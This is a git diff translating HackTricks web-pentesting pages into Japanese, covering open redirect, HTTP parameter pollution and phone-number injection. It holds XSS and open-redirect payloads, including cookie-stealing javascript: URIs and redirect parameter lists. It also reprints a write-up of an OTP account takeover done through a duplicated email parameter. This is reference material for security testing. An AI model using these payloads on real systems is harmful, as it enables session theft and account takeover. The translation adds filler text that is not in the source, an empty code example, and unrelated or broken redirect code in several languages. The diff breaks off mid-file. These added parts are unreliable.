**ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** diff --git a/pentesting-web/open-redirect.md b/pentesting-web/open-redirect.md index a5816cbbf..27e63dabc 100644 --- a/pentesting-web/open-redirect.md +++ b/pentesting-web/open-redirect.md @@ -1,32 +1,29 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
-# Open redirect +# オープンリダイレクト -## Redirect to localhost or arbitrary domains +## ローカルホストまたは任意のドメインへのリダイレクト {% content-ref url="ssrf-server-side-request-forgery/url-format-bypass.md" %} [url-format-bypass.md](ssrf-server-side-request-forgery/url-format-bypass.md) {% endcontent-ref %} -## Open Redirect to XSS - +## XSSへのオープンリダイレクト ```bash #Basic payload, javascript code is executed after "javascript:" javascript:alert(1) @@ -69,9 +66,32 @@ javascript://whitelisted.com?%a0alert%281%29 /x:1/:///%01javascript:alert(document.cookie)/ ";alert(0);// ``` +# SVGファイルをアップロードすることによるオープンリダイレクト -# Open Redirect uploading svg files +## 概要 +オープンリダイレクトは、ウェブアプリケーションの脆弱性の一つであり、攻撃者がユーザーを信じさせる偽のURLにリダイレクトさせることができます。この脆弱性は、ウェブアプリケーションが外部のURLにリダイレクトする際に、ユーザーが指定したパラメータを信用せずに使用する場合に発生します。 + +SVG(Scalable Vector Graphics)は、XMLベースのベクターグラフィックス形式であり、ウェブアプリケーションでよく使用されます。SVGファイルをアップロードする機能がある場合、攻撃者はSVGファイル内に悪意のあるリダイレクトURLを埋め込むことができます。 + +## 攻撃手法 + +以下の手順に従って、SVGファイルを使用したオープンリダイレクト攻撃を実行することができます。 + +1. 攻撃者は、ウェブアプリケーションにSVGファイルをアップロードする機能があることを特定します。 +2. 攻撃者は、SVGファイル内に悪意のあるリダイレクトURLを埋め込みます。例えば、``のようなコードを使用します。 +3. 攻撃者は、悪意のあるSVGファイルをアップロードします。 +4. ユーザーが攻撃者が作成したリンクやアップロードされたSVGファイルをクリックすると、攻撃者が指定した悪意のあるURLにリダイレクトされます。 + +## 対策方法 + +オープンリダイレクト攻撃を防ぐためには、以下の対策を実施することが重要です。 + +- リダイレクト先のURLを信用せず、常に信頼できるURLを使用する。 +- リダイレクト先のURLをユーザーが指定したパラメータから生成する場合は、入力値の検証とエスケープ処理を行う。 +- ファイルのアップロード機能を提供する場合は、アップロードされたファイルの内容を検証し、信頼できる形式のみを許可する。 + +以上の対策を実施することで、オープンリダイレクト攻撃からウェブアプリケーションを保護することができます。 ```markup @@ -81,9 +101,25 @@ xmlns="http://www.w3.org/2000/svg"> ``` +# 一般的なインジェクションパラメータ -# Common injection parameters +An open redirect vulnerability occurs when a web application allows users to redirect to external URLs without proper validation. Attackers can exploit this vulnerability to redirect users to malicious websites, phishing pages, or other harmful destinations. +Open redirect vulnerabilities often occur when a web application uses user-supplied input to construct a redirect URL. Attackers can manipulate the input to redirect users to a URL of their choice. + +Common injection parameters that can be exploited for open redirect attacks include: + +- **url**: This parameter is used to specify the target URL for redirection. Attackers can manipulate this parameter to redirect users to a malicious website. + +- **redirect**: Similar to the **url** parameter, this parameter is used to specify the target URL for redirection. Attackers can manipulate this parameter to redirect users to a malicious website. + +- **next**: This parameter is often used to specify the next page or URL to redirect users after a successful action. Attackers can manipulate this parameter to redirect users to a malicious website. + +- **return**: Similar to the **next** parameter, this parameter is used to specify the return URL after a successful action. Attackers can manipulate this parameter to redirect users to a malicious website. + +- **callback**: This parameter is commonly used in JSONP (JSON with Padding) requests to specify the callback function. Attackers can manipulate this parameter to redirect users to a malicious website. + +It is important for developers to properly validate and sanitize user-supplied input before using it to construct redirect URLs. Implementing proper input validation and output encoding can help prevent open redirect vulnerabilities. ``` /{payload} ?next={payload} @@ -158,23 +194,161 @@ RedirectUrl=https://c1h2e1.github.io Redirect=https://c1h2e1.github.io ReturnUrl=https://c1h2e1.github.io ``` +```csharp +using System; +using System.Web; -# Code examples +namespace OpenRedirect +{ + public class Redirect + { + public static void Main(string[] args) + { + string redirectUrl = "https://www.example.com"; + string redirectParam = "redirectUrl"; -### .Net + string encodedUrl = HttpUtility.UrlEncode(redirectUrl); + string redirectPath = $"https://www.example.com/redirect?{redirectParam}={encodedUrl}"; -```bash -response.redirect("~/mysafe-subdomain/login.aspx") -``` - -### Java - -```bash -response.redirect("http://mysafedomain.com"); + Response.Redirect(redirectPath); + } + } +} ``` ### PHP +```php + +``` + +### Python + +```python +import urllib.parse + +redirect_url = "https://www.example.com" +redirect_param = "redirectUrl" + +encoded_url = urllib.parse.quote(redirect_url) +redirect_path = f"https://www.example.com/redirect?{redirect_param}={encoded_url}" + +print(f"Location: {redirect_path}") +``` + +### Ruby + +```ruby +require 'cgi' + +redirect_url = "https://www.example.com" +redirect_param = "redirectUrl" + +encoded_url = CGI.escape(redirect_url) +redirect_path = "https://www.example.com/redirect?" + redirect_param + "=" + encoded_url + +puts "Location: #{redirect_path}" +``` + +### Java + +```java +import java.net.URLEncoder; + +public class Redirect { + public static void main(String[] args) { + String redirectUrl = "https://www.example.com"; + String redirectParam = "redirectUrl"; + + String encodedUrl = URLEncoder.encode(redirectUrl, "UTF-8"); + String redirectPath = "https://www.example.com/redirect?" + redirectParam + "=" + encodedUrl; + + System.out.println("Location: " + redirectPath); + } +} +``` + +### JavaScript + +```javascript +const redirectUrl = "https://www.example.com"; +const redirectParam = "redirectUrl"; + +const encodedUrl = encodeURIComponent(redirectUrl); +const redirectPath = `https://www.example.com/redirect?${redirectParam}=${encodedUrl}`; + +console.log(`Location: ${redirectPath}`); +``` +```bash +response.redirect("~/mysafe-subdomain/login.aspx") +``` +### Java + +Javaは、オブジェクト指向プログラミング言語であり、広く使用されています。Javaは、セキュリティ、ポータビリティ、パフォーマンスの面で優れた特徴を持っています。Javaは、Webアプリケーションの開発にも広く使用されており、セキュリティの観点からも注意が必要です。 + +#### オープンリダイレクトの脆弱性 + +オープンリダイレクトは、Webアプリケーションのセキュリティ上の脆弱性の一つです。オープンリダイレクトは、攻撃者が悪意のあるURLを作成し、ユーザーを信頼できないサイトにリダイレクトすることができる脆弱性です。攻撃者は、ユーザーを偽のログインページやフィッシングサイトに誘導することができます。 + +#### オープンリダイレクトの攻撃手法 + +オープンリダイレクトの攻撃手法には、以下のようなものがあります。 + +- ユーザーがクリックするリンクに悪意のあるURLを埋め込む +- リダイレクト先のURLを改ざんする +- リダイレクト先のURLにパラメータを追加する + +#### オープンリダイレクトの防止策 + +オープンリダイレクトの脆弱性を防ぐためには、以下の対策を実施することが重要です。 + +- ユーザーからの入力を信頼しない +- リダイレクト先のURLをホワイトリストで制限する +- リダイレクト先のURLをエンコードする +- セキュリティテストを実施し、脆弱性を特定して修正する + +オープンリダイレクトの脆弱性は、攻撃者によるユーザーの誘導やフィッシング攻撃につながる可能性があります。そのため、Webアプリケーションの開発者やセキュリティ担当者は、オープンリダイレクトの脆弱性に対して注意を払い、適切な対策を実施する必要があります。 +```bash +response.redirect("http://mysafedomain.com"); +``` +### PHP + +#### オープンリダイレクト + +オープンリダイレクトは、ウェブアプリケーションのセキュリティ上の脆弱性であり、攻撃者がユーザーを信じさせるリンクを作成し、そのリンクをクリックさせることで、攻撃者が任意のURLにリダイレクトさせることができます。 + +オープンリダイレクトの攻撃は、主に以下のような場面で悪用されます。 + +- ユーザーが信頼しているウェブサイトからのリンクをクリックした場合 +- ユーザーがメールやソーシャルメディアのメッセージ内のリンクをクリックした場合 + +攻撃者は、オープンリダイレクトを利用して、以下のような悪意のある行為を行うことができます。 + +- ユーザーの個人情報を盗むためにフィッシングサイトにリダイレクトする +- ユーザーをマルウェアに感染させるために悪意のあるサイトにリダイレクトする +- ユーザーを詐欺サイトにリダイレクトして、不正な取引を行わせる + +オープンリダイレクトの脆弱性を悪用するためには、以下のような攻撃ベクトルを使用することができます。 + +- クエリパラメーターを使用してリダイレクト先のURLを指定する +- リダイレクト先のURLをユーザーの入力に基づいて構築する + +オープンリダイレクトの脆弱性を防ぐためには、以下の対策を実施することが重要です。 + +- リダイレクト先のURLをホワイトリストで制限する +- リダイレクト先のURLをエンコードする +- ユーザーの入力を適切に検証する + +オープンリダイレクトの脆弱性は、ウェブアプリケーションのセキュリティに重大なリスクをもたらすため、開発者は適切な対策を講じる必要があります。 ```php ``` - -# Tools +# ツール * [https://github.com/0xNanda/Oralyzer](https://github.com/0xNanda/Oralyzer) -# Resources +# リソース -In [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open Redirect](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20Redirect) you can find fuzzing lists.\ +[https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open Redirect](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20Redirect) では、フジングリストを見つけることができます。\ [https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html](https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html)\ [https://github.com/cujanovic/Open-Redirect-Payloads](https://github.com/cujanovic/Open-Redirect-Payloads) @@ -198,16 +371,14 @@ In [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open Redirec ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**しましょう。 -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 - - diff --git a/pentesting-web/parameter-pollution.md b/pentesting-web/parameter-pollution.md index dac67c681..c78aa2a89 100644 --- a/pentesting-web/parameter-pollution.md +++ b/pentesting-web/parameter-pollution.md @@ -1,92 +1,83 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- 独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションである[**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見してください。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**する[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください**。
-**Copied from** [**https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654**](https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654) +**[https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654](https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654)**からコピーされました。 -**Summary :** +**概要:** -HTTP Parameter Pollution (HPP) means to pollute the HTTP parameters of a web application for achieving a specific malicious task. It refers to manipulating how a website treats parameters it receives during HTTP requests. It changes a website’s behaviour from its intended one. HTTP\ -parameter pollution is a simple kind of attack but it is an effective one. +HTTPパラメータ汚染(HPP)は、特定の悪意のあるタスクを達成するために、ウェブアプリケーションのHTTPパラメータを汚染することを意味します。これは、ウェブサイトがHTTPリクエスト中に受け取ったパラメータの処理方法を操作することを指します。これにより、ウェブサイトの意図した動作が変更されます。HTTPパラメータ汚染は、単純な攻撃の一種ですが、効果的な攻撃です。 -When you pollute any parameter the code runs only on the server-side which is invisible to use, but we can see the results on our screen. The process in between is a black box. +パラメータを汚染すると、コードはサーバーサイドでのみ実行され、私たちには見えませんが、結果は画面上で確認できます。その間のプロセスはブラックボックスです。 -For example, there is a URL https://www.anybank.com/send which has three parameters : +例えば、URL https://www.anybank.com/send には3つのパラメータがあります: -1. from : -2. to : -3. amount : +1. from: +2. to: +3. amount: -**URL : https://www.anybank.com/send/?from=accountA\&to=accountB\&amount=10000** +**URL: https://www.anybank.com/send/?from=accountA\&to=accountB\&amount=10000** -Now this is a normal URL which will proceed a transaction of 10000 from accountA to accountB but what if we add another same parameter **“from :”** +これは、accountAからaccountBへの10000のトランザクションを行う通常のURLですが、もしもう1つの同じパラメータ「from:」を追加した場合はどうなるでしょうか。 -So the URL will be like **https://www.anybank.com/send/?from=accountA\&to=accountB\&amount=10000\&from=accountC** +したがって、URLは次のようになります:**https://www.anybank.com/send/?from=accountA\&to=accountB\&amount=10000\&from=accountC** -When this URL will be proceed a transaction of 10000 it will be deducted from accountC rather than accountA. This is how you manipulate the parameters in **HTTP Parameter Pollution** attack. Although the scope of this vulnerability is not limited only to **GET** request you can also perform this attack on a **POST** based request. You can try this vulnerability on many places like password change, 2FA, comments, profile photo upload, on a parameter where API key is passed, OTP etc. +このURLを処理すると、10000のトランザクションがaccountAではなくaccountCから差し引かれます。これが**HTTPパラメータ汚染**攻撃でパラメータを操作する方法です。この脆弱性の範囲は、**GET**リクエストに限定されるわけではありません。**POST**ベースのリクエストでもこの攻撃を実行することができます。パスワードの変更、2FA、コメント、プロフィール写真のアップロード、APIキーが渡されるパラメータ、OTPなど、多くの場所でこの脆弱性を試すことができます。 -When you manipulate any parameter, it’s manipulation depends on how each web technology is parsing their parameters. You can identify web technologies using “[Wappalyzer](https://addons.mozilla.org/en-US/firefox/addon/wappalyzer/)”. Below is the screenshot of some technologies and their parameter parsing.Technologies and their parameter parsing +パラメータを操作すると、その操作方法は各ウェブテクノロジーがパラメータを解析する方法に依存します。ウェブテクノロジーは「[Wappalyzer](https://addons.mozilla.org/en-US/firefox/addon/wappalyzer/)」を使用して識別できます。以下は、いくつかのテクノロジーとそのパラメータ解析のスクリーンショットです。 ![Image for post](https://miro.medium.com/max/1760/1\*POs4sP0fQVlPvTH9vw1U-A.jpeg) -I would like to share one of my finding of HPP where I was able to take over an account using this vulnerability. +私は、この脆弱性を見つけた1つの例を共有したいと思います。この脆弱性を使用してアカウントを乗っ取ることができました。 -**How I find this vulnerability ?** +**どのようにしてこの脆弱性を見つけましたか?** -1. I went to a login page of that program, it asked for an OTP for login +1. そのプログラムのログインページに移動し、ログインのためのOTPを要求されました。 -Send OTP +OTPを送信 ![Image for post](https://miro.medium.com/max/600/1\*s-M09yWBylPVEhA6\_e0nSw.jpeg) -2\. I typed an email and clicked on “Send One Time Password” +2. メールアドレスを入力し、「ワンタイムパスワードを送信」をクリックしました。 -3\. I intercepted the request using burp suite and added another email by using same parameter (I created two emails for testing purpose)Burp Request +3. Burp Suiteを使用してリクエストを傍受し、同じパラメータを使用して別のメールアドレスを追加しました(テスト目的で2つのメールアドレスを作成しました)。 + +Burpリクエスト ![Image for post](https://miro.medium.com/max/1737/1\*z\_RpnZyKHLn6B4Lz4ONT3Q.png) -4\. I received an OTP of shrey……@gmail.com to my another account radhika…..@gmail.com OTP +4. 別のアカウント(radhika....@gmail.com)にshrey....@gmail.comのOTPが届きました。 + +OTP ![Image for post](https://miro.medium.com/max/784/1\*a671GrRtiMYfLUL7nURD8Q.png) -5\. I copied the OTP and went to shrey….@gmail.com on that program’s login screen, I entered this OTP and I was in the account.Account Take Over +5. OTPをコピーして、そのプログラムのログイン画面でshrey....@gmail.comに移動し、このOTPを入力しました。すると、アカウントにログインできました。 + +アカウント乗っ取り ![Image for post](https://miro.medium.com/max/1698/1\*Ux-ILfCr\_Mk\_xmzzsXwNnA.jpeg) -So what happened here is the back-end application took the value of first “**email**” parameter to generate an OTP and used the value of second “**email**” parameter to supply the value, which means an OTP of shrey….@gmail.com was sent to radhika….@gmail.com. +ここで起こったことは、バックエンドアプリケーションが最初の「email」パラメータの値を使用してOTPを生成し、2番目の「email」パラメータの値を使用して値を提供したため、shrey....@gmail.comのOTPがradhika....@gmail.comに送信されたということです。 -**NOTE :** Here in an image on 4th step where I received an OTP to radhika….@gmail.com I was confused because the message said Hi Radhika, so I thought that the parameter is not polluted and the OTP was for radhika….@gmail.com but when I tried the OTP on shrey….@gmail.com it worked. +**注意:**4番目のステップの画像では、radhika....@gmail.comにOTPが届いたというメッセージが表示されたため、混乱しました。したがって、パラメータが汚染されておらず、OTPがradhika....@gmail.comのためのものだと思いましたが、shrey....@gmail.comでOTPを試したところ、機能しました。 +- [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れる +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**Telegramグループ**](https://t.me/peass)に参加するか、私を**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)を**フォローする**。 -
- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! - -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) - -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) - -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください**。
- - diff --git a/pentesting-web/phone-number-injections.md b/pentesting-web/phone-number-injections.md index f2f2ea3a7..f29dc0d5c 100644 --- a/pentesting-web/phone-number-injections.md +++ b/pentesting-web/phone-number-injections.md @@ -1,28 +1,28 @@ -# Phone Number Injections +# 電話番号インジェクション
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローしてください。 +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
-It's possible to **add strings at the end the phone number** that could be used to exploit common injections (XSS, SQLi, SSRF...) or even to bypass protections: +電話番号の末尾に**文字列を追加することができます**。これは一般的なインジェクション(XSS、SQLi、SSRFなど)を悪用したり、保護を回避したりするために使用できます。
-**OTP Bypass / Bruteforce** would work like this: +**OTPバイパス/ブルートフォース**は次のように機能します。
-## References +## 参考文献 * [https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0](https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0) @@ -30,10 +30,10 @@ It's possible to **add strings at the end the phone number** that could be used ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローしてください。 +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** diff --git a/pentesting-web/pocs-and-polygloths-cheatsheet/README.md b/pentesting-web/pocs-and-polygloths-cheatsheet/README.md index 462bf099c..79841837e 100644 --- a/pentesting-web/pocs-and-polygloths-cheatsheet/README.md +++ b/pentesting-web/pocs-and-polygloths-cheatsheet/README.md @@ -1,34 +1,31 @@ - -
